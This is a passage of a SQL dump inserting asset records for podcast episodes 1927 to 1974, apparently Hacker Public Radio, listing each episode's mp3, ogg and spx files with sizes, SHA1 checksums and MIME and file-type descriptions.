(1927,'hpr1927.ogg','ogg',4527708,'4099fb7b6a1f130513864937dc86e905f91bf070','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1927,'hpr1927.spx','spx',1832790,'86f5dcfe5b20c72909ae961d9854208530ef3504','application/ogg; charset=binary','Ogg data, Speex audio'),
(1928,'hpr1928.mp3','mp3',17309498,'fb6a3eee581d0e67679408e70d49ffbfae281176','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1928,'hpr1928.ogg','ogg',19896921,'a6f930d2d6f0ac1f0f83976a9b74ba0328a41671','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1928,'hpr1928.spx','spx',7730273,'b9b200dea868e67ccd243c2b6540c2463d966b44','application/ogg; charset=binary','Ogg data, Speex audio'),
(1929,'hpr1929.mp3','mp3',6823762,'59e30d0db5202a08955b67433e3dd168df1cbe34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1929,'hpr1929.ogg','ogg',7868815,'7d2f3db5feecc07dea419769c42ec86b6d632269','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1929,'hpr1929.spx','spx',3047315,'fed77882dff2bd9e3c34b2e4a1fd423e3607503a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1930,'hpr1930.mp3','mp3',5133500,'7bd12721681fc7ea435c5abdcb2026d33bc586ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1930,'hpr1930.ogg','ogg',5639896,'d4f9f7bf130c29889ff01c68ccb0b5ca971a0d3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1930,'hpr1930.spx','spx',2292331,'54c52b42bd67b84a33bc6cc28f0b6516d03bbccb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1931,'hpr1931.mp3','mp3',13600143,'5c890e9efd2ea5ad88c7a167f234e1b67d73103b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1931,'hpr1931.ogg','ogg',9094626,'5d6256ec296d4f1cb874530981b68a1596c8c06a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1931,'hpr1931.spx','spx',6073701,'b66c677c30cac1cd5c5b95b506d3e174675f916a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1932,'hpr1932.mp3','mp3',4106813,'14bfa5a21ed51b7c56a9ffa71de152db2634ee7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1932,'hpr1932.ogg','ogg',3871099,'e426014a10026fe4b4bc00f73d48eca9a5f3b931','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1932,'hpr1932.spx','spx',1833882,'0108a59d7aa3fb4733c3311f050f6964daf73482','application/ogg; charset=binary','Ogg data, Speex audio'),
(1933,'hpr1933.mp3','mp3',64407282,'713eb4d1ee9cbcc394a4f89fe95eae6063190ea0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1933,'hpr1933.ogg','ogg',68013289,'e84fcf8ba45a2ed6d2970467ef2ceef6c7bf84d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1933,'hpr1933.spx','spx',28764660,'73685afc94363176e0f87787181b1f1c4c0e008c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1934,'hpr1934.mp3','mp3',8272394,'20bdb01353553772bac613e873c4cc55897d2914','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1934,'hpr1934.ogg','ogg',9059536,'8c029a588e4f4083d2e9eeda9d3c4371fde397e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1934,'hpr1934.spx','spx',3694221,'35273cd08983241753910f285e688f4bc6fb6ab8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1935,'hpr1935.mp3','mp3',5687543,'2ef7ba99a9dfe8cb9b54ea43193ef9a10656d081','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1935,'hpr1935.ogg','ogg',6546311,'4fcd635baa93352aea0c4f21cb4ab88db1735d1a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1935,'hpr1935.spx','spx',2539907,'efe1f16678acae1222acd345775b38d626a6f199','application/ogg; charset=binary','Ogg data, Speex audio'),
(1936,'hpr1936.mp3','mp3',42973865,'d1dbc3786f5132a1b7003d777bfb48e7cfc0dc23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1936,'hpr1936.ogg','ogg',43523953,'f87dc1608b82b7254ca4381940764700fc6f6fb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1936,'hpr1936.spx','spx',19192300,'6c8680ec4e5f46a429c8fa340130ab887a39de84','application/ogg; charset=binary','Ogg data, Speex audio'),
(1937,'hpr1937.mp3','mp3',5459332,'9bf266393c7f7a93a827438b47c0da53af7c8c10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1937,'hpr1937.ogg','ogg',5297003,'eb931a4127c2fc26fe830252f53124556c9e30ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1937,'hpr1937.spx','spx',2438007,'61da9b3fb8cfcb810f7e847a02d2ea5195fac99b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1938,'hpr1938.mp3','mp3',13661998,'e342486d07041fa7d775c5651d0effcc229899d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1938,'hpr1938.ogg','ogg',14884174,'df5218cfca423f9b506c7ac204d09434f1f1f4e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1938,'hpr1938.spx','spx',6101294,'c757e1b716a288b1e1ee53449b177925db88d469','application/ogg; charset=binary','Ogg data, Speex audio'),
(1939,'hpr1939.mp3','mp3',7745778,'f1403a52bc54333fa700c3e511c7a86bbe00df66','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1939,'hpr1939.ogg','ogg',9997720,'8e8a79bae292acd4286a4e95de70b4efca6f06d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1939,'hpr1939.spx','spx',3459132,'520be2ce9ef9ddabc5d48cc3ed3601796fe25688','application/ogg; charset=binary','Ogg data, Speex audio'),
(1940,'hpr1940.mp3','mp3',28653345,'3f4ee12e6774ff3b7e3b7bc1bb6d018a4bbedcd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1940,'hpr1940.ogg','ogg',28787833,'7b671e5e97f3540c459a2811f8331b118b159039','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1940,'hpr1940.spx','spx',12796644,'8f9a656d68fa46f18964cbe39ccf76091f0f3573','application/ogg; charset=binary','Ogg data, Speex audio'),
(1941,'hpr1941.mp3','mp3',16874406,'6afc248ec18ba1b7b184a2e7139d02415d1ba1d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1941,'hpr1941.ogg','ogg',18588666,'4dd54c9c1d786ea6d694f8328206d63f07c3def8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1941,'hpr1941.spx','spx',7535985,'f0e7bf243e5eb0644e57a28f36c13a7c3ba8114c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1942,'hpr1942.mp3','mp3',21052516,'066747d1a8a21c469db9cf39ec75efbdd5aad4fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1942,'hpr1942.ogg','ogg',20513625,'0864c982958d7bc3474d5f5f2dc9d0e3c7e59cf9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1942,'hpr1942.spx','spx',9401993,'134eea477d00a7ef29f558319609a4d8767cb285','application/ogg; charset=binary','Ogg data, Speex audio'),
(1943,'hpr1943.mp3','mp3',71254932,'0165ec7c7d5be640560aa3e9ed92682631d09e80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1943,'hpr1943.ogg','ogg',74461041,'4d4c5c3d8461eea5771d4930e38c605409daeb06','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1943,'hpr1943.spx','spx',31822936,'eff5d617e168a844f7f60dfe78c96f44d0b6adef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1944,'hpr1944.mp3','mp3',15951129,'a9dca75ec03e4e160c8a52c4e9e0e843c4a033c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1944,'hpr1944.ogg','ogg',20226728,'884455a3bb9577c85c01cce3a0a7240100df7686','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I');
INSERT INTO `assets` (`episode_id`, `filename`, `extension`, `size`, `sha1sum`, `mime_type`, `file_type`) VALUES (1944,'hpr1944.spx','spx',7123593,'a8b70cb001dabb9e53e78b766821ee042a096002','application/ogg; charset=binary','Ogg data, Speex audio'),
(1945,'hpr1945.mp3','mp3',12239073,'ad54f53de277d2a7322a0a5d710f4462428590d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1945,'hpr1945.ogg','ogg',14525325,'034a59b546b5c866f584b14f402346df3a328612','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1945,'hpr1945.spx','spx',5465831,'8efca13e1f8e7da47562dca528b7709af052a95b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1946,'hpr1946.mp3','mp3',10947532,'3d93a33c1a28124f9c3d5cb51f958beb66ce4c99','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1946,'hpr1946.ogg','ogg',12157029,'fe323e45270e9aab9159f4e8042a1cf333919e7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1946,'hpr1946.spx','spx',4888972,'f97f8626c976c4d47f556a199c3a4166db28820b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1947,'hpr1947.mp3','mp3',5787210,'77f1d15120edc4cf7de01330c7a90b67e074bde5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1947,'hpr1947.ogg','ogg',6876427,'9cfe0da063edda6f7e545da796b7b118f0f0c90a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1947,'hpr1947.spx','spx',2584394,'0756015b38bc6cce98d97124d6a8c17cc944fee8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1948,'hpr1948.mp3','mp3',6656969,'e1750451b55e6aa413a776fcbe22249b8fcecf6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1948,'hpr1948.ogg','ogg',6300017,'c04b0dadebab1a87da5a5e3f5810dee35e24a20f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1948,'hpr1948.spx','spx',2972846,'b3a6a3c12d8cc15c52f8ade4d92494aef1cfbf7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1949,'hpr1949.mp3','mp3',13374868,'c8e3cb75f0402326a10f51f26d83a269db813517','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1949,'hpr1949.ogg','ogg',15723256,'48d7b296b24c9d3af813e08f45964615d83d5fe7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1949,'hpr1949.spx','spx',5973090,'d7d413969954201edf759c863cb4a7923a928251','application/ogg; charset=binary','Ogg data, Speex audio'),
(1950,'hpr1950.mp3','mp3',9530918,'86a42b31570998a6a06ec1d0009567731b4f0eb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1950,'hpr1950.ogg','ogg',10141159,'160346c44906e3bce869e2b99ca3b289e061bccf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1950,'hpr1950.spx','spx',4256418,'fe4951697e077ecaf3dd53150452215d12e192a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1951,'hpr1951.mp3','mp3',20465520,'370334f0a7d277e1d7bfca6d87f3c642d68b172e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1951,'hpr1951.ogg','ogg',22466582,'88cb287ec22f9e65df7ce9ba9f70cfd8acc89699','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1951,'hpr1951.spx','spx',9139849,'5106670a9f49497c2da24759f30633fd339ce6f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1952,'hpr1952.mp3','mp3',15955315,'c40cd28919b503d963cf08572b0e43fdd687e6c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1952,'hpr1952.ogg','ogg',17492272,'0b49fbb02f42e40b04107b0294c5c114382fdad8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1952,'hpr1952.spx','spx',7125445,'2f96e93c7bd42b10bfc4ed14c9efb863576b9fa0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1953,'hpr1953.mp3','mp3',27372577,'7f68c987d97cd01ddb83868f1590b3b5c0cfb975','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1953,'hpr1953.ogg','ogg',26866389,'8ce9a5dcfb57a42c9efb0a939438738d4d8dc4d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1953,'hpr1953.spx','spx',12224613,'f8c9f0b52122378e0fe0277fa7f179900361a715','application/ogg; charset=binary','Ogg data, Speex audio'),
(1954,'hpr1954.mp3','mp3',32382186,'48a9f79a0622dafe6c7b6bd413df9406cd067e7e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1954,'hpr1954.ogg','ogg',35423687,'e7fa5cfaa059e7d94b634cdbb0a3d4b7c83f5585','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1954,'hpr1954.spx','spx',14461982,'1b94c56e0814a0b5728987fa1c35f983dd1211e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1955,'hpr1955.mp3','mp3',10994814,'534c3c5f62327444e710cc13c9b6512ec2381ccb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1955,'hpr1955.ogg','ogg',12151934,'dbfa42ec84f3c04ad516768f67906e2439d16656','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1955,'hpr1955.spx','spx',4910176,'aeba7fa77a1b9d2f14b4a8b0a39cc9ae15ecc7a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1956,'hpr1956.mp3','mp3',19825821,'02bc9946c7b7f2c8579dc8f158dddaad5752d35d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1956,'hpr1956.ogg','ogg',20196098,'854fcadcd51df862126684493b292b56c5233489','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1956,'hpr1956.spx','spx',8854169,'edfc298473dba673ab238db634ed22f08a284092','application/ogg; charset=binary','Ogg data, Speex audio'),
(1957,'hpr1957.mp3','mp3',62988929,'0c8b639dbc74ebdce30c23f3a5c14ec7558968dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1957,'hpr1957.ogg','ogg',71840039,'a436f88d07c1bbc6b08e03b999d3e2be6a859c15','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1957,'hpr1957.spx','spx',28131187,'180a50b250725f56c0a27624c999255bdc9e8093','application/ogg; charset=binary','Ogg data, Speex audio'),
(1958,'hpr1958.mp3','mp3',53617844,'1b1c4fa4f73af7f693fc5caac1d918ec04a49b6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1958,'hpr1958.ogg','ogg',61745573,'47d54d753acd3483776fbda275832c178efeb821','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1958,'hpr1958.spx','spx',23945954,'f492abdae9a301312cb4c94b62945af9ced23ceb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1959,'hpr1959.mp3','mp3',51009579,'9c07a857475f4d565dcb2d20bbcc4d0113c5c5d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1959,'hpr1959.ogg','ogg',56800778,'32923ce1585ab5ee1c69099ffcf80fb182c1c0a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1959,'hpr1959.spx','spx',22781141,'2419c76f3b81fede0d09aaaf192b90dd988cee3e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1960,'hpr1960.mp3','mp3',56719967,'45848ea8826344680f3239e52199f45b300cf8d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1960,'hpr1960.ogg','ogg',66530192,'85a1ced237f7569ea63e5ba383fa44c1d461ad6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1960,'hpr1960.spx','spx',25331486,'103ccf54c6b005c2ea677ef67e577e39f3abc3b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1961,'hpr1961.mp3','mp3',80638250,'cc7bf6d8e513d995fb1789a00db36424b09d8620','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1961,'hpr1961.ogg','ogg',87252007,'7eb17d2346e2e8bd0a6c1cfdbb1074a48ca9e145','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1961,'hpr1961.spx','spx',36013636,'feb34faf4944a80c1e7585ead6164c1bb3d6a1f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1962,'hpr1962.mp3','mp3',97192839,'2c5cab33a468b5a5eddf4cbecc7c4c83016c3630','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1962,'hpr1962.ogg','ogg',107696858,'7266684fa11e62f0b317a3d7d802ceebd331a6de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1962,'hpr1962.spx','spx',43407115,'a21100863d6ad7578fc788525c0bd0e953a01ef0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1963,'hpr1963.mp3','mp3',87195247,'ed1d84b6c8f7d3d56a59aedfeb45764194e4d90d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1963,'hpr1963.ogg','ogg',94450003,'da9a6ff32d097089cd90ccd95d2516e1be70ffee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1963,'hpr1963.spx','spx',38942008,'110b5ba77a2a8026a255398eb5f07053629997da','application/ogg; charset=binary','Ogg data, Speex audio'),
(1964,'hpr1964.mp3','mp3',89963812,'bc6ca4321fb50be615f483cadef53ea7eb715ddc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1964,'hpr1964.ogg','ogg',98072992,'71ca8531334e79e80db3518d97a6e37eee50573e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1964,'hpr1964.spx','spx',40178506,'f57d6adfa1ecd02148546608f78304a31b14b17d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1965,'hpr1965.mp3','mp3',5876874,'5d7eb245815e484532714e5f201fb0d53ed285a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1965,'hpr1965.ogg','ogg',6412644,'e89c5112a0e98761a34028d17e0486c7f3b7d4cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1965,'hpr1965.spx','spx',2624435,'6db6d0bb0b142e6b28d7fbf6f3ffb55f01c52c96','application/ogg; charset=binary','Ogg data, Speex audio'),
(1966,'hpr1966.mp3','mp3',4407076,'155483deb3afd6c57406fb65c45070a5da9dff73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1966,'hpr1966.ogg','ogg',4412420,'4bae2cee915a3252f2b189cb72295daef93ca5f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1966,'hpr1966.spx','spx',1967972,'83d0f5305b192aefb1f11a9263f13ef686fe8971','application/ogg; charset=binary','Ogg data, Speex audio'),
(1967,'hpr1967.mp3','mp3',7941802,'500f5c39a5baa329b6c18a16d0ab230d5a4adf05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1967,'hpr1967.ogg','ogg',7637607,'e52fba5ef83b48dc1111cf30e23e20d3d30d275f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1967,'hpr1967.spx','spx',3546604,'1b89a6d6e8e3a22b30eb337b7c0098ca727f5593','application/ogg; charset=binary','Ogg data, Speex audio'),
(1968,'hpr1968.mp3','mp3',2654852,'dc9826a41f557242d8505d04d6ac5fe56f9cb135','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1968,'hpr1968.ogg','ogg',2982250,'06b8377450a1990e3ca702af3565b8afcc493ee1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1968,'hpr1968.spx','spx',1185456,'ca7d24f56f7ac5ef5cdc4fbaaf26418ea7024b40','application/ogg; charset=binary','Ogg data, Speex audio'),
(1969,'hpr1969.mp3','mp3',7486486,'2ef100c363df31413a5318c4a57e97478fcfe747','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1969,'hpr1969.ogg','ogg',8397051,'5768d433ab352ac8ac8a007878030ee7c9af5762','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1969,'hpr1969.spx','spx',3343265,'af5d0ccd4e69363cb99af6153d5457f2ee572951','application/ogg; charset=binary','Ogg data, Speex audio'),
(1970,'hpr1970.mp3','mp3',14401759,'c783e408f0b9a4740c96f446cff8b36ceded09eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1970,'hpr1970.ogg','ogg',14103382,'1e06e9930e01374df0870ac462cd5347fe56e86d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1970,'hpr1970.spx','spx',6431677,'19e7c95f437412bebbe8fbf82f55d11ef002101d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1971,'hpr1971.mp3','mp3',9698689,'7af53a61717527c95c2102e4ea5a24833933d1ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1971,'hpr1971.ogg','ogg',10713207,'c9ce3b9622cdd747b8f85f2dab25d215eb663f0b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1971,'hpr1971.spx','spx',4331272,'fbf751639ccd6f88bcc81e0dcab3ec22fda0f7ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1972,'hpr1972.mp3','mp3',10092392,'059b62a7cb8598e974cc1ede2583c45277e918de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1972,'hpr1972.ogg','ogg',12706546,'895e5259974812a2a44d416d536357f379dda4a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1972,'hpr1972.spx','spx',4507096,'3922d290a953fecb4c7b267d0e8a36a1349d8fe2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1973,'hpr1973.mp3','mp3',8794016,'58708cf6d435b86a8cd45aac3545afba29328527','audio/x-flac; charset=binary','FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 4686592 samples'),
(1973,'hpr1973.ogg','ogg',23829771,'c99bd228bf1cd60d933bb32e0359ae39dcf58ffc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1973,'hpr1973.spx','spx',10142645,'c1ef4a256bc6774cd8cc020a5bed7949ce5ae495','application/ogg; charset=binary','Ogg data, Speex audio'),
(1974,'hpr1974.mp3','mp3',13860535,'fb7419cbaf65fe9a09000305d7b1bd3f8bff7d75','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1974,'hpr1974.ogg','ogg',15020007,'c204dd8392629ec221b21b88604cf24f87377274','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1974,'hpr1974.spx','spx',6189978,'5e6419e5815d22327ff13c05d1dd2672f4d111e0','application/ogg; charset=binary','Ogg data, Speex audio'),
